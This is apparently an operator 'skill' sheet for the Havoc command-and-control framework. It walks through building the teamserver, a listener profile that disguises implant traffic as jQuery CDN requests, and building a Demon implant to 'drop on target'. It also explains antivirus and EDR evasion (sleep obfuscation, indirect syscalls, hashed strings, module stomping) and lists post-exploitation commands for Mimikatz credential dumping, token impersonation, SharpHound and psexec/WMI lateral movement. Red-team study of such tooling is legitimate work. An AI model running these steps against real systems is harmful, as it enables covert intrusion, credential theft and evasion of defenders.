c2-havoc

# Havoc C2 Operator Skill Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks. ## Setup ```bash # Build from source (Linux) git clone https://github.com/HavocFramework/Havoc cd Havoc make ts-build make client-build make server-build # Or run via Docker docker compose up -d ``` ## Architecture ``` ┌────────────┐ ┌─────────────┐ ┌──────────┐ │ Operator │ <───> │ Teamserver │ <───> │ Demon │ │ (Client) │ TS │ (Go + gRPC) │ HTTP │ (Implant)│ └────────────┘ └─────────────┘ └──────────┘ ``` - **Teamserver**: Listens on operator port (40056 default) for clients; HTTP listener for demons. - **Client**: Qt-based desktop UI (Material Dark). - **Demon**: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls. ## Configure a profile Havoc uses a `profiles.yaotl` HCL-like config. Example for a low-OPSEC HTTP listener: ```hcl Teamserver { Host = "0.0.0.0" Port = 40056 Build { Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc" Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc" Nasm = "/usr/bin/nasm" } } Operators { user "op-alice" { Password = "strongpassword" } } Listeners { Http { Name = "primary-http" Hosts = ["op-server.com"] HostBind = "0.0.0.0" PortBind = 443 PortConn = 443 Secure = true HostRotation = "round-robin" Uris = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"] # blend with CDN traffic Headers = ["X-Forwarded-For: 1.2.3.4"] UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } } ``` Then `./havoc server --profile profiles.yaotl -v`. ## Build a Demon In the client UI: 1. Attack → Payload → Demon 2. Listener: select your HTTP listener 3. Arch: x64 / x86 4. Format: Windows Exe / Windows DLL / Shellcode 5. Sleep Technique: **Ekko** (queue user APC ROP chain) / **Zilean** (timer-based) / **FOLIAGE** (ROP-based) 6. Indirect Syscalls: **Enable** (resolves syscalls at runtime, bypasses static SSN hooks) 7. Save → drop on target ```bash # CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now) ``` ## What makes Havoc's OPSEC strong ### Sleep obfuscation (3 options) - **Ekko**: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts. - **Zilean**: timer-based variant. - **FOLIAGE**: pure ROP chain, no Win32 timer dependency. Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match. ### Indirect syscalls Most EDRs hook `NtAllocateVirtualMemory` etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics. Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return. ### No static strings All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. `strings demon.exe | grep -i shell` returns nothing. ### Module stomping Demon module can be hidden by overwriting an existing legitimate module (`mscorlib.dll`, `clr.dll`). ## Common commands ``` > shell whoami /all > proc list > proc kill <pid> > token impersonate <pid> > dotnet inline-execute <SharpHound.exe> -c All > mimi !sekurlsa::logonpasswords # built-in Mimikatz wrap > spawnas <user> <pass> <listener> # spawn new demon as different user > jump <psexec64|wmi|smb_lateral> <host> # lateral movement ``` ## Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike | | Havoc | Sliver | Mythic | Cobalt Strike | |---|---|---|---|---| | **Sleep obfuscation** | Built-in (Ekko/Zilean/FOLIAGE) | None — needs BOF | Per-agent | Built-in (Sleep Mask) | | **Indirect syscalls** | Yes, opt-in | No (only direct) | Per-agent | Yes (via patches) | | **OPSEC defaults** | Strong | Fair | Per-agent | Excellent | | **Modern UI** | Yes (Qt MaterialUI) | Web + CLI | Web | Heavy Java | | **Cross-platform implant** | Windows only (Demon) | Yes (Sliver) | Per-agent (Poseidon=macOS/Linux) | Yes (Beacon) | | **License** | GPL OSS | GPL OSS | BSD OSS | Commercial $ | ## When to pick Havoc - Windows-only engagement, need modern OPSEC out-of-the-box - Cobalt Strike's price/license unavailable - Operator team comfortable with Qt UI vs web - Need indirect syscalls + sleep obfuscation without writing BOFs When NOT to pick: - Need cross-platform implant (Sliver/Mythic Poseidon better) - Need a polished commercial UI for client-deliverable screenshots (CS still wins) - Need mature OPSEC profile library (CS Malleable profile ecosystem is bigger) ## References - Havoc Framework docs — havocframework.com - C5pider's blog — c5pider.com (Ekko, Zilean writeups) - "Modern C2 OPSEC" — Outflank training material - Cobalt Strike Malleable profile guide (translates well to Havoc HTTP profile design)